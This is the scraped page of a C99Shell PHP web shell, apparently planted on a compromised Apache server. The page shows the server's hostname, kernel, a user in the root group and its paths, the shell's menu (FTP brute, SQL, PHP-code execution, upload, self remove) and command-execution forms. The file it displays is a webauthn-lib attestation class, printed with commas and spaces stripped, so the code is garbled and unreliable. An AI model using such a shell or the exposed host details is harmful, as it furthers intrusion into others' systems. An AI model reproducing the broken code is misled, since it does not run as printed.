!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/webauthn-lib/src/AttestationStatement/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AndroidKeyAttestationStatementSupport.php (6.85 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn\AttestationStatement;

use 
Assert\Assertion;
use 
CBOR\Decoder;
use 
CBOR\OtherObject\OtherObjectManager;
use 
CBOR\Tag\TagObjectManager;
use 
Cose\Algorithms;
use 
Cose\Key\Ec2Key;
use 
Cose\Key\Key;
use 
Cose\Key\RsaKey;
use function 
count;
use 
FG\ASN1\ASNObject;
use 
FG\ASN1\ExplicitlyTaggedObject;
use 
FG\ASN1\Universal\OctetString;
use 
FG\ASN1\Universal\Sequence;
use function 
Safe\hex2bin;
use function 
Safe\openssl_pkey_get_public;
use function 
Safe\sprintf;
use 
Webauthn\AuthenticatorData;
use 
Webauthn\CertificateToolbox;
use 
Webauthn\StringStream;
use 
Webauthn\TrustPath\CertificateTrustPath;

final class 
AndroidKeyAttestationStatementSupport implements AttestationStatementSupport
{
    
/**
     * @var Decoder
     */
    
private $decoder;

    public function 
__construct()
    {
        
$this->decoder = new Decoder(new TagObjectManager(), new OtherObjectManager());
    }

    public function 
name(): string
    
{
        return 
'android-key';
    }

    
/**
     * @param mixed[] $attestation
     */
    
public function load(array $attestation): AttestationStatement
    
{
        
Assertion::keyExists($attestation'attStmt''Invalid attestation object');
        foreach ([
'sig''x5c''alg'] as $key) {
            
Assertion::keyExists($attestation['attStmt'], $keysprintf('The attestation statement value "%s" is missing.'$key));
        }
        
$certificates $attestation['attStmt']['x5c'];
        
Assertion::isArray($certificates'The attestation statement value "x5c" must be a list with at least one certificate.');
        
Assertion::greaterThan(count($certificates), 0'The attestation statement value "x5c" must be a list with at least one certificate.');
        
Assertion::allString($certificates'The attestation statement value "x5c" must be a list with at least one certificate.');
        
$certificates CertificateToolbox::convertAllDERToPEM($certificates);

        return 
AttestationStatement::createBasic($attestation['fmt'], $attestation['attStmt'], new CertificateTrustPath($certificates));
    }

    public function 
isValid(string $clientDataJSONHashAttestationStatement $attestationStatementAuthenticatorData $authenticatorData): bool
    
{
        
$trustPath $attestationStatement->getTrustPath();
        
Assertion::isInstanceOf($trustPathCertificateTrustPath::class, 'Invalid trust path');

        
$certificates $trustPath->getCertificates();

        
//Decode leaf attestation certificate
        
$leaf $certificates[0];
        
$this->checkCertificateAndGetPublicKey($leaf$clientDataJSONHash$authenticatorData);

        
$signedData $authenticatorData->getAuthData().$clientDataJSONHash;
        
$alg $attestationStatement->get('alg');

        return 
=== openssl_verify($signedData$attestationStatement->get('sig'), $leafAlgorithms::getOpensslAlgorithmFor((int) $alg));
    }

    private function 
checkCertificateAndGetPublicKey(string $certificatestring $clientDataHashAuthenticatorData $authenticatorData): void
    
{
        
$resource openssl_pkey_get_public($certificate);
        
$details openssl_pkey_get_details($resource);
        
Assertion::isArray($details'Unable to read the certificate');

        
//Check that authData publicKey matches the public key in the attestation certificate
        
$attestedCredentialData $authenticatorData->getAttestedCredentialData();
        
Assertion::notNull($attestedCredentialData'No attested credential data found');
        
$publicKeyData $attestedCredentialData->getCredentialPublicKey();
        
Assertion::notNull($publicKeyData'No attested public key found');
        
$publicDataStream = new StringStream($publicKeyData);
        
$coseKey $this->decoder->decode($publicDataStream)->getNormalizedData(false);
        
Assertion::true($publicDataStream->isEOF(), 'Invalid public key data. Presence of extra bytes.');
        
$publicDataStream->close();
        
$publicKey Key::createFromData($coseKey);

        
Assertion::true(($publicKey instanceof Ec2Key) || ($publicKey instanceof RsaKey), 'Unsupported key type');
        
Assertion::eq($publicKey->asPEM(), $details['key'], 'Invalid key');

        
/*---------------------------*/
        
$certDetails openssl_x509_parse($certificate);

        
//Find Android KeyStore Extension with OID “1.3.6.1.4.1.11129.2.1.17” in certificate extensions
        
Assertion::isArray($certDetails'The certificate is not valid');
        
Assertion::keyExists($certDetails'extensions''The certificate has no extension');
        
Assertion::isArray($certDetails['extensions'], 'The certificate has no extension');
        
Assertion::keyExists($certDetails['extensions'], '1.3.6.1.4.1.11129.2.1.17''The certificate extension "1.3.6.1.4.1.11129.2.1.17" is missing');
        
$extension $certDetails['extensions']['1.3.6.1.4.1.11129.2.1.17'];
        
$extensionAsAsn1 ASNObject::fromBinary($extension);
        
Assertion::isInstanceOf($extensionAsAsn1Sequence::class, 'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
$objects $extensionAsAsn1->getChildren();

        
//Check that attestationChallenge is set to the clientDataHash.
        
Assertion::keyExists($objects4'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
Assertion::isInstanceOf($objects[4], OctetString::class, 'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
Assertion::eq($clientDataHashhex2bin(($objects[4])->getContent()), 'The client data hash is not valid');

        
//Check that both teeEnforced and softwareEnforced structures don’t contain allApplications(600) tag.
        
Assertion::keyExists($objects6'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
$softwareEnforcedFlags $objects[6];
        
Assertion::isInstanceOf($softwareEnforcedFlagsSequence::class, 'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
$this->checkAbsenceOfAllApplicationsTag($softwareEnforcedFlags);

        
Assertion::keyExists($objects7'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
$teeEnforcedFlags $objects[6];
        
Assertion::isInstanceOf($teeEnforcedFlagsSequence::class, 'The certificate extension "1.3.6.1.4.1.11129.2.1.17" is invalid');
        
$this->checkAbsenceOfAllApplicationsTag($teeEnforcedFlags);
    }

    private function 
checkAbsenceOfAllApplicationsTag(Sequence $sequence): void
    
{
        foreach (
$sequence->getChildren() as $tag) {
            
Assertion::isInstanceOf($tagExplicitlyTaggedObject::class, 'Invalid tag');
            
/* @var ExplicitlyTaggedObject $tag */
            
Assertion::notEq(600, (int) $tag->getTag(), 'Forbidden tag 600 found');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--